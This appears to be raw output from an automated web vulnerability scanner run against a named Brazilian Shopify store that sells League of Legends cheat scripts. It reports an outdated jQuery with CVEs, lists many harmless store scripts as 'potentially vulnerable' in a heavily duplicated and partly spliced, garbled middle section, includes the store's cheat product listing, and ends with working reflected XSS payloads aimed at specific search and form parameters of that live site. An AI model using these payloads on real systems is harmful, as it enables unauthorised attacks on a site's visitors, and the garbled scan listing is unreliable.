vulnerabilidades-smartcheats

•
Exatas

Chuuya Nakahara
18/10/2021
Esta é uma pré-visualização de arquivo. Entre para ver o arquivo original
[~] Crawling the target
------------------------------------------------------------
[+] Vulnerable component: jquery v2.2.3
[!] Component location: https://cdn.shopify.com/s/files/1/0510/9655/1593/t/2/assets/vendor.js?v=5935291977972636546
[!] Total vulnerabilities: 3
[!] Summary: parseHTML() executes scripts in event handlers
[!] Severity: medium
[!] CVE: CVE-2015-9251
[!] Summary: jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution
[!] Severity: low
[!] CVE: CVE-2019-11358
[!] Summary: 3rd party CORS request may execute
[!] Severity: medium
[!] CVE: CVE-2015-9251
------------------------------------------------------------
[+] Potentially vulnerable objects found at https://www.smartcheats.com.br/en/search
------------------------------------------------------------
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "search"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
58 trekkie.config.initialDocumentCookie = document.cookie;
113 context_url: window.location.href,
137 var originalDocumentWrite = document.write;
138 document.write = customDocumentWrite;
140 document.write = originalDocumentWrite;
241 setTimeout(function() {
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
30 shop: window.location.host,
52 window.location = resp.checkout_direct_url;
54 setTimeout(function () {
59 window.location = resp.checkout_direct_url;
166 if (t.attr('onclick') == "window.location='/checkout'") {
167 t.attr('onclick', "window.location='/cart'");
192 window.location.href = '/cart?ref=yampi_buy_button'
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
217 shop: window.location.host,
224 window.location.href = resp.checkout_direct_url;
237 shop: window.location.host,
244 window.location.href = resp.checkout_direct_url;
254 shop: window.location.host,
262 window.location.href = resp.checkout_direct_url;
276 window.location.href = window.yampiCheckoutUrl;
278 window.location = '/cart';
65 setInterval(function () {
------------------------------------------------------------
[+] Potentially vulnerable objects found at https://www.smartcheats.com.br/
------------------------------------------------------------
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "index"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
Potentially vulnerable objects found at https://www.smartcheats.com.br/en/pages/downloads
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
Potentially vulnerable objects found at https://www.smartcheats.com.br/en/collections/valorant
------------------------------------------------------------
58 trekkie.config.initialDocumentCookie = document.cookie;
------------------------------------------------------------
Potentially vulnerable objects found at https://www.smartcheats.com.br/en/policies/refund-policy
113 context_url: window.location.href,35d0&_ss=rocale) {
------------------------------------------------------------
Potentially vulnerable objects found at https://www.smartcheats.com.br/en/products/script-lol
Potentially vulnerable objects found at https://www.smartcheats.com.br/en/products/toirscript-lol-all-region
137 var originalDocumentWrite = document.write;
------------------------------------------------------------
------------------------------------------------------------
138 document.write = customDocumentWrite;
140 document.write = originalDocumentWrite;maryLocale) {primaryLanguage.iso_code);
241 setTimeout(function() {ocation.pathname;directUrl);(primaryLanguage.iso_code);
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "page"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "collection"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';ge.iso_code);
30 shop: window.location.host,directUrlBuilderFunction(primaryLanguage.iso_code);
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "policy"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
52 window.location = resp.checkout_direct_url;ectUrl);
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "product"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "product"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
54 setTimeout(function () {
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';
58 trekkie.config.initialDocumentCookie = document.cookie;
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';
59 window.location = resp.checkout_direct_url;
58 trekkie.config.initialDocumentCookie = document.cookie;
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
113 context_url: window.location.href,
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
166 if (t.attr('onclick') == "window.location='/checkout'") {
113 context_url: window.location.href,
58 trekkie.config.initialDocumentCookie = document.cookie;
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
137 var originalDocumentWrite = document.write;
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
167 t.attr('onclick', "window.location='/cart'");
137 var originalDocumentWrite = document.write;
113 context_url: window.location.href,
58 trekkie.config.initialDocumentCookie = document.cookie;
138 document.write = customDocumentWrite;
58 trekkie.config.initialDocumentCookie = document.cookie;
192 window.location.href = '/cart?ref=yampi_buy_button'
138 document.write = customDocumentWrite;
137 var originalDocumentWrite = document.write;
113 context_url: window.location.href,
140 document.write = originalDocumentWrite;
113 context_url: window.location.href,
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
140 document.write = originalDocumentWrite;
138 document.write = customDocumentWrite;
137 var originalDocumentWrite = document.write;
241 setTimeout(function() {
137 var originalDocumentWrite = document.write;
217 shop: window.location.host,
241 setTimeout(function() {
140 document.write = originalDocumentWrite;
138 document.write = customDocumentWrite;
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
138 document.write = customDocumentWrite;
224 window.location.href = resp.checkout_direct_url;
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
241 setTimeout(function() {
140 document.write = originalDocumentWrite;
30 shop: window.location.host,
140 document.write = originalDocumentWrite;
237 shop: window.location.host,
30 shop: window.location.host,
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
241 setTimeout(function() {
52 window.location = resp.checkout_direct_url;
241 setTimeout(function() {
244 window.location.href = resp.checkout_direct_url;
52 window.location = resp.checkout_direct_url;
30 shop: window.location.host,
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
54 setTimeout(function () {
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
254 shop: window.location.host,
54 setTimeout(function () {
52 window.location = resp.checkout_direct_url;
30 shop: window.location.host,
59 window.location = resp.checkout_direct_url;
2 {"id":6986551623849,"title":"Toir LoL [ALL Region]","handle":"toirscript-lol-all-region","description":"\u003cp\u003e\u003cstrong data-mce-fragment=\"1\"\u003e\u003cimg data-mce-fragment=\"1\" height=\"21\" width=\"21\" src=\"https:\/\/emojis.slackmojis.com\/emojis\/images\/1467306584\/630\/paypal.png?1467306584\" data-mce-src=\"https:\/\/emojis.slackmojis.com\/emojis\/images\/1467306584\/630\/paypal.png?1467306584\"\u003e To buy with Paypal, send message to Kairos#3720 no discord\u003cbr\u003e\u003cbr\u003e(Automatic delivery, you receive the product in your email when you make the purchase)\u003cbr\u003e\u003cbr\u003eIf you have any questions, just access the \u003ca href=\"https:\/\/discord.com\/invite\/dAwQttw\"\u003eDISCORD\u003c\/a\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eFunctions: Auto cait. Freezar lane (Last hit in the minions). Farming fast (Advance lane farming fast) Automatic evasion. (Auto Evade) Automatic combos. Skin
Changer. Zoom Map Auto Smite Show enemy recall and spell cooldown. And many other functions. - \u003cem\u003e\u003cstrong\u003eSupport for all champions.\u003c\/strong\u003e\u003c\/em\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cstrong data-mce-fragment=\"1\"\u003eScript in action\u003cbr\u003e\u003ciframe width=\"727\" height=\"409\" src=\"https:\/\/www.youtube.com\/embed\/cmcGGXzjUlM\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\"\u003e\u003c\/iframe\u003e\u003cbr\u003e\u003c\/strong\u003e\u003ciframe src=\"https:\/\/www.youtube.com\/embed\/Q4tgzE4i9NU\" height=\"416\" width=\"836\" allowfullscreen=\"\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" frameborder=\"0\"\u003e\u003c\/iframe\u003e\u003c\/p\u003e\n\u003cscript src=\"https:\/\/www.mercadopago.com\/v2\/security.js\" view=\"item\"\u003e\u003c\/script\u003e","published_at":"2021-05-13T14:03:37-03:00","created_at":"2021-05-13T14:00:47-03:00","vendor":"Smart Cheats","type":"","tags":["cheat","Conta lol","download lol script","free lol scripts","hack","hanbot","league","league of legends","league of legends hack","league of legends hacks","league of legends script","league of legends scripts","leaguesharp","legends","lol","lol hack","lol katarina script","lol script","lol script 2020","lol script 2021","lol scripting","lol vayne script","nyrex script","of","Script","Script League","Script League of Legens","script lol","script lol how lol cheat xerath league of legends cheat riot","ScriptLoL","smart cheats","smartcheats","toir script","toirplus","toirplus crackeado","toirplus crackeado 2021","toirscript"],"price":1500,"price_min":1500,"price_max":10500,"available":true,"price_varies":true,"compare_at_price":null,"compare_at_price_min":0,"compare_at_price_max":0,"compare_at_price_varies":false,"variants":[{"id":40460527567017,"title":"30 Days - $19","option1":"30 Days - $19","option2":null,"option3":null,"sku":"","requires_shipping":false,"taxable":false,"featured_image":null,"available":true,"name":"Toir LoL [ALL Region] - 30 Days - $19","public_title":"30 Days - $19","options":["30 Days - $19"],"price":10500,"weight":0,"compare_at_price":null,"inventory_management":"shopify","barcode":""},{"id":40460527599785,"title":"1 Day - $2","option1":"1 Day - $2","option2":null,"option3":null,"sku":null,"requires_shipping":false,"taxable":false,"featured_image":null,"available":true,"name":"Toir LoL [ALL Region] - 1 Day - $2","public_title":"1 Day - $2","options":["1 Day - $2"],"price":1500,"weight":0,"compare_at_price":null,"inventory_management":"shopify","barcode":null},{"id":40460527632553,"title":"7 Days - $8","option1":"7 Days - $8","option2":null,"option3":null,"sku":"","requires_shipping":false,"taxable":false,"featured_image":null,"available":false,"name":"Toir LoL [ALL Region] - 7 Days - $8","public_title":"7 Days - $8","options":["7 Days - $8"],"price":4300,"weight":0,"compare_at_price":null,"inventory_management":"shopify","barcode":""}],"images":["\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/Noxus_Crest_222ecca8-cb03-4e35-b8ed-78f95f4d105c.png?v=1620925250","\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/quadrariven_9ba51d99-588c-44fc-8af6-64658549606f.png?v=1620925250","\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/Pentarato_b0976e05-ed4f-4415-80c4-501ed6158257.png?v=1620925250","\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/tripleaphelios_d0ed4c01-7829-4b1c-bb12-f2565bdfc8b2.png?v=1620925250"],"featured_image":"\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/Noxus_Crest_222ecca8-cb03-4e35-b8ed-78f95f4d105c.png?v=1620925250","options":["Planos"],"media":[{"alt":null,"id":25014096068777,"position":1,"preview_image":{"aspect_ratio":0.75,"height":400,"width":300,"src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/Noxus_Crest_222ecca8-cb03-4e35-b8ed-78f95f4d105c.png?v=1620925250"},"aspect_ratio":0.75,"height":400,"media_type":"image","src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/Noxus_Crest_222ecca8-cb03-4e35-b8ed-78f95f4d105c.png?v=1620925250","width":300},{"alt":null,"id":25014096134313,"position":2,"preview_image":{"aspect_ratio":2.216,"height":616,"width":1365,"src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/quadrariven_9ba51d99-588c-44fc-8af6-64658549606f.png?v=1620925250"},"aspect_ratio":2.216,"height":616,"media_type":"image","src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/quadrariven_9ba51d99-588c-44fc-8af6-64658549606f.png?v=1620925250","width":1365},{"alt":null,"id":25014096167081,"position":3,"preview_image":{"aspect_ratio":1.78,"height":767,"width":1365,"src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/Pentarato_b0976e05-ed4f-4415-80c4-501ed6158257.png?v=1620925250"},"aspect_ratio":1.78,"height":767,"media_type":"image","src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/Pentarato_b0976e05-ed4f-4415-80c4-501ed6158257.png?v=1620925250","width":1365},{"alt":null,"id":25014096199849,"position":4,"preview_image":{"aspect_ratio":2.221,"height":614,"width":1364,"src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/tripleaphelios_d0ed4c01-7829-4b1c-bb12-f2565bdfc8b2.png?v=1620925250"},"aspect_ratio":2.221,"height":614,"media_type":"image","src":"https:\/\/cdn.shopify.com\/s\/files\/1\/0510\/9655\/1593\/products\/tripleaphelios_d0ed4c01-7829-4b1c-bb12-f2565bdfc8b2.png?v=1620925250","width":1364}],"content":"\u003cp\u003e\u003cstrong data-mce-fragment=\"1\"\u003e\u003cimg data-mce-fragment=\"1\" height=\"21\" width=\"21\" src=\"https:\/\/emojis.slackmojis.com\/emojis\/images\/1467306584\/630\/paypal.png?1467306584\" data-mce-src=\"https:\/\/emojis.slackmojis.com\/emojis\/images\/1467306584\/630\/paypal.png?1467306584\"\u003e To buy with Paypal, send message to Kairos#3720 no discord\u003cbr\u003e\u003cbr\u003e(Automatic delivery, you receive the product in your email when you make the purchase)\u003cbr\u003e\u003cbr\u003eIf you have any questions, just access the \u003ca href=\"https:\/\/discord.com\/invite\/dAwQttw\"\u003eDISCORD\u003c\/a\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eFunctions: Auto cait. Freezar lane (Last hit in the minions). Farming fast (Advance lane farming fast) Automatic evasion. (Auto Evade) Automatic combos. Skin Changer. Zoom Map Auto Smite Show enemy recall and spell cooldown. And many other functions. - \u003cem\u003e\u003cstrong\u003eSupport for all champions.\u003c\/strong\u003e\u003c\/em\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cstrong data-mce-fragment=\"1\"\u003eScript in action\u003cbr\u003e\u003ciframe width=\"727\" height=\"409\" src=\"https:\/\/www.youtube.com\/embed\/cmcGGXzjUlM\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\"\u003e\u003c\/iframe\u003e\u003cbr\u003e\u003c\/strong\u003e\u003ciframe src=\"https:\/\/www.youtube.com\/embed\/Q4tgzE4i9NU\" height=\"416\" width=\"836\" allowfullscreen=\"\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" frameborder=\"0\"\u003e\u003c\/iframe\u003e\u003c\/p\u003e\n\u003cscript src=\"https:\/\/www.mercadopago.com\/v2\/security.js\" view=\"item\"\u003e\u003c\/script\u003e"}
262 window.location.href = resp.checkout_direct_url;
59 window.location = resp.checkout_direct_url;
54 setTimeout(function () {
52 window.location = resp.checkout_direct_url;
166 if (t.attr('onclick') == "window.location='/checkout'") {
30 shop: window.location.host,
276 window.location.href = window.yampiCheckoutUrl;
166 if (t.attr('onclick') == "window.location='/checkout'") {
59 window.location = resp.checkout_direct_url;
54 setTimeout(function () {
167 t.attr('onclick', "window.location='/cart'");
52 window.location = resp.checkout_direct_url;
278 window.location = '/cart';
167 t.attr('onclick', "window.location='/cart'");
166 if (t.attr('onclick') == "window.location='/checkout'") {
59 window.location = resp.checkout_direct_url;
192 window.location.href = '/cart?ref=yampi_buy_button'
54 setTimeout(function () {
65 setInterval(function () {
192 window.location.href = '/cart?ref=yampi_buy_button'
167 t.attr('onclick', "window.location='/cart'");
166 if (t.attr('onclick') == "window.location='/checkout'") {
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
59 window.location = resp.checkout_direct_url;
------------------------------------------------------------
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
192 window.location.href = '/cart?ref=yampi_buy_button'
167 t.attr('onclick', "window.location='/cart'");
217 shop: window.location.host,
166 if (t.attr('onclick') == "window.location='/checkout'") {
217 shop: window.location.host,
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
192 window.location.href = '/cart?ref=yampi_buy_button'
224 window.location.href = resp.checkout_direct_url;
167 t.attr('onclick', "window.location='/cart'");
224 window.location.href = resp.checkout_direct_url;
217 shop: window.location.host,
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
237 shop: window.location.host,
192 window.location.href = '/cart?ref=yampi_buy_button'
237 shop: window.location.host,
224 window.location.href = resp.checkout_direct_url;
217 shop: window.location.host,
244 window.location.href = resp.checkout_direct_url;
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
244 window.location.href = resp.checkout_direct_url;
237 shop: window.location.host,
224 window.location.href = resp.checkout_direct_url;
254 shop: window.location.host,
217 shop: window.location.host,
254 shop: window.location.host,
244 window.location.href = resp.checkout_direct_url;
237 shop: window.location.host,
262 window.location.href = resp.checkout_direct_url;
224 window.location.href = resp.checkout_direct_url;
262 window.location.href = resp.checkout_direct_url;
254 shop: window.location.host,
244 window.location.href = resp.checkout_direct_url;
276 window.location.href = window.yampiCheckoutUrl;
237 shop: window.location.host,
276 window.location.href = window.yampiCheckoutUrl;
262 window.location.href = resp.checkout_direct_url;
254 shop: window.location.host,
278 window.location = '/cart';
244 window.location.href = resp.checkout_direct_url;
278 window.location = '/cart';
276 window.location.href = window.yampiCheckoutUrl;
262 window.location.href = resp.checkout_direct_url;
65 setInterval(function () {
254 shop: window.location.host,
65 setInterval(function () {
278 window.location = '/cart';
276 window.location.href = window.yampiCheckoutUrl;
------------------------------------------------------------
262 window.location.href = resp.checkout_direct_url;
------------------------------------------------------------
65 setInterval(function () {
278 window.location = '/cart';2&_sid=adff835d0&_ss=r
276 window.location.href = window.yampiCheckoutUrl;
------------------------------------------------------------
65 setInterval(function () {
278 window.location = '/cart';
------------------------------------------------------------
65 setInterval(function () {
------------------------------------------------------------
[+] Potentially vulnerable objects found at https://www.smartcheats.com.br/en/cart
------------------------------------------------------------
1 (function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 51096551593,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "cart"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());
18 document.cookie = '_shopify_ga=' + linkerParam + '; ' + 'path=/';
18 return document.cookie.indexOf('loggedConversion=' + token) !== -1;
28 document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
58 trekkie.config.initialDocumentCookie = document.cookie;
113 context_url: window.location.href,
137 var originalDocumentWrite = document.write;
138 document.write = customDocumentWrite;
140 document.write = originalDocumentWrite;
241 setTimeout(function() {
290 var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
30 shop: window.location.host,
52 window.location = resp.checkout_direct_url;
54 setTimeout(function () {
59 window.location = resp.checkout_direct_url;
166 if (t.attr('onclick') == "window.location='/checkout'") {
167 t.attr('onclick', "window.location='/cart'");
192 window.location.href = '/cart?ref=yampi_buy_button'
203 xhttp.open('GET','https://api.dooki.com.br/v2/public/shopify/status?shop=' + window.location.host);
217 shop: window.location.host,
224 window.location.href = resp.checkout_direct_url;
237 shop: window.location.host,
244 window.location.href = resp.checkout_direct_url;
254 shop: window.location.host,
262 window.location.href = resp.checkout_direct_url;
276 window.location.href = window.yampiCheckoutUrl;
278 window.location = '/cart';
65 setInterval(function () {
------------------------------------------------------------
[++] Vulnerable webpage: https://www.smartcheats.com.br/en/search
[++] Vector for q: </tItle><d3V%09OnpoinTeReNTeR%09=%09confirm()%0dx//v3dm0s
[++] Vulnerable webpage: https://www.smartcheats.com.br/search
[++] Vector for q: </tiTle><a%09ONmOUseOVeR+=+[8].find(confirm)//v3dm0s
[++] Vulnerable webpage: https://www.smartcheats.com.br/en/search
[++] Vector for form_type: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/en/search
[++] Vector for utf8: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/search
[++] Vector for form_type: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/en/search
[++] Vector for quantity: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/en/search
[++] Vector for updates[]: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/en/search
[++] Vector for contact[tags]: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/search
[++] Vector for utf8: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/en/search
[++] Vector for contact[email]: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/search
[++] Vector for contact[tags]: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/search
[++] Vector for contact[email]: "};a=prompt,a()//\
[++] Vulnerable webpage: https://www.smartcheats.com.br/search
[++] Vector for {{ name }}: "};a=prompt,a()//\